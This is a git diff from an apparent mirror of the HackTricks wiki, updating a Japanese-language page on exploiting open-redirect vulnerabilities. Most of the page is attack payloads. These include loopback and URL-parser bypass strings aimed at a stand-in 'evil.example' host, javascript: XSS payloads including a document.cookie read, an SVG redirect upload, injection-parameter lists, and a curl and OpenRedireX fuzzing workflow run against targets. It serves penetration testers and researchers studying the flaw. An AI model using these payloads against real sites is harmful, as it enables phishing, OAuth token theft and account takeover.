mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/open-redirect.md'] to ja
This commit is contained in:
parent
4741b5aa4b
commit
a2e387ead2
@ -1,18 +1,29 @@
|
|||||||
# オープンリダイレクト
|
# Open Redirect
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## オープンリダイレクト
|
## Open redirect
|
||||||
|
|
||||||
### localhostまたは任意のドメインへのリダイレクト
|
### Redirect to localhost or arbitrary domains
|
||||||
|
|
||||||
|
- アプリが “allows only internal/whitelisted hosts” のみを許可している場合、リダイレクト先のホスト表記を工夫して loopback や内部レンジに到達させてみる:
|
||||||
|
- IPv4 loopback バリエーション: 127.0.0.1, 127.1, 2130706433 (10進数), 0x7f000001 (16進数), 017700000001 (8進数)
|
||||||
|
- IPv6 loopback バリエーション: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
|
||||||
|
- 末尾ドットや大文字小文字: localhost., LOCALHOST, 127.0.0.1.
|
||||||
|
- loopback に解決されるワイルドカードDNS: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me。これらは “subdomains of X” のみが許可されている場合でも、ホスト解決が 127.0.0.1 を指すときに有用。
|
||||||
|
- スキームを補完したりプレフィックスのみをチェックするような単純なバリデータを回避するために、ネットワークパス参照がしばしば有効:
|
||||||
|
- //attacker.tld → スキーム相対として解釈され、現在のスキームでオフサイトに遷移する。
|
||||||
|
- Userinfo トリックは contains/startswith チェックを回避する:
|
||||||
|
- https://trusted.tld@attacker.tld/ → ブラウザは attacker.tld に遷移するが、単純な文字列チェックは trusted.tld を“見てしまう”。
|
||||||
|
- フレームワーク/ブラウザ間のバックスラッシュのパースの不一致:
|
||||||
|
- https://trusted.tld\@attacker.tld → 一部のバックエンドは “\” をパス文字として扱い検証を通すが、ブラウザはそれを “/” に正規化し、trusted.tld を userinfo と解釈してユーザーを attacker.tld に送る。これは Node/PHP の URL パーサーの不一致でも発生する。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### XSSへのオープンリダイレクト
|
### Modern open-redirect to XSS pivots
|
||||||
```bash
|
```bash
|
||||||
#Basic payload, javascript code is executed after "javascript:"
|
#Basic payload, javascript code is executed after "javascript:"
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
|
|||||||
/x:1/:///%01javascript:alert(document.cookie)/
|
/x:1/:///%01javascript:alert(document.cookie)/
|
||||||
";alert(0);//
|
";alert(0);//
|
||||||
```
|
```
|
||||||
## Open Redirect SVGファイルのアップロード
|
<details>
|
||||||
|
<summary>よりモダンな URL-based bypass payloads</summary>
|
||||||
|
```text
|
||||||
|
# Scheme-relative (current scheme is reused)
|
||||||
|
//evil.example
|
||||||
|
|
||||||
|
# Credentials (userinfo) trick
|
||||||
|
https://trusted.example@evil.example/
|
||||||
|
|
||||||
|
# Backslash confusion (server validates, browser normalizes)
|
||||||
|
https://trusted.example\@evil.example/
|
||||||
|
|
||||||
|
# Schemeless with whitespace/control chars
|
||||||
|
evil.example%00
|
||||||
|
%09//evil.example
|
||||||
|
|
||||||
|
# Prefix/suffix matching flaws
|
||||||
|
https://trusted.example.evil.example/
|
||||||
|
https://evil.example/trusted.example
|
||||||
|
|
||||||
|
# When only path is accepted, try breaking absolute URL detection
|
||||||
|
/\\evil.example
|
||||||
|
/..//evil.example
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Open Redirect uploading svg files
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<code>
|
<code>
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
|
|||||||
</svg>
|
</svg>
|
||||||
</code>
|
</code>
|
||||||
```
|
```
|
||||||
## 一般的なインジェクションパラメータ
|
|
||||||
|
## Common injection parameters
|
||||||
|
|
||||||
```
|
```
|
||||||
/{payload}
|
/{payload}
|
||||||
?next={payload}
|
?next={payload}
|
||||||
@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
|
|||||||
Redirect=https://c1h2e1.github.io
|
Redirect=https://c1h2e1.github.io
|
||||||
ReturnUrl=https://c1h2e1.github.io
|
ReturnUrl=https://c1h2e1.github.io
|
||||||
```
|
```
|
||||||
## コード例
|
|
||||||
|
## Code examples
|
||||||
|
|
||||||
#### .Net
|
#### .Net
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Java
|
#### Java
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
response.redirect("http://mysafedomain.com");
|
response.redirect("http://mysafedomain.com");
|
||||||
```
|
```
|
||||||
|
|
||||||
#### PHP
|
#### PHP
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
/* browser redirections*/
|
/* browser redirections*/
|
||||||
@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
|
|||||||
exit;
|
exit;
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Hunting and exploitation workflow (practical)
|
||||||
|
|
||||||
|
- Single URL check with curl:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
|
||||||
|
```
|
||||||
|
|
||||||
|
- Discover and fuzz likely parameters at scale:
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary>Click to expand</summary>
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1) 履歴のあるURLを収集し、一般的なリダイレクトパラメータを含むものを残す
|
||||||
|
cat domains.txt \
|
||||||
|
| gau --o urls.txt # or: waybackurls / katana / hakrawler
|
||||||
|
|
||||||
|
# 2) Grepで一般的なパラメータを抽出し、リストを正規化する
|
||||||
|
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
|
||||||
|
| sed 's/\r$//' | sort -u > candidates.txt
|
||||||
|
|
||||||
|
# 3) OpenRedireXを使ってpayload corpusでfuzzする
|
||||||
|
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
|
||||||
|
|
||||||
|
# 4) 興味深いヒットを手動で検証する
|
||||||
|
awk '/30[1237]|Location:/I' results.txt
|
||||||
|
```
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
- SPAs のクライアント側シンクを忘れない:window.location/assign/replace や query/hash を読み取ってリダイレクトするフレームワークのヘルパーを探す。
|
||||||
|
|
||||||
|
- フレームワークは、リダイレクト先が信頼できない入力(query params、Referer、cookies)から生成されると落とし穴を生むことが多い。Next.js のリダイレクトに関する注記を参照し、ユーザー入力由来の動的なリダイレクト先は避ける。
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../network-services-pentesting/pentesting-web/nextjs.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
- OAuth/OIDC フロー:open redirectors を悪用すると authorization codes/tokens の leaking により account takeover に至ることが多い。専用ガイドを参照:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
./oauth-to-account-takeover.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
- Location を使わない(meta refresh/JavaScript)リダイレクトを実装するサーバのレスポンスは、phishing に悪用可能で、場合によってはチェーンされ得る。Grep for:
|
||||||
|
```html
|
||||||
|
<meta http-equiv="refresh" content="0;url=//evil.example">
|
||||||
|
<script>location = new URLSearchParams(location.search).get('next')</script>
|
||||||
|
```
|
||||||
## ツール
|
## ツール
|
||||||
|
|
||||||
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||||
|
- OpenRedireX – open redirects を検出するための fuzzer。例:
|
||||||
|
```bash
|
||||||
|
# Install
|
||||||
|
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
|
||||||
|
|
||||||
## リソース
|
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
|
||||||
|
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
|
||||||
|
```
|
||||||
|
## 参考資料
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ではファジングリストを見つけることができます。
|
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect には fuzzing リストがあります。
|
||||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||||
|
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
|
||||||
|
- OpenRedireX – open redirect vulnerabilities を検出するための fuzzer: https://github.com/devanshbatham/OpenRedireX
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user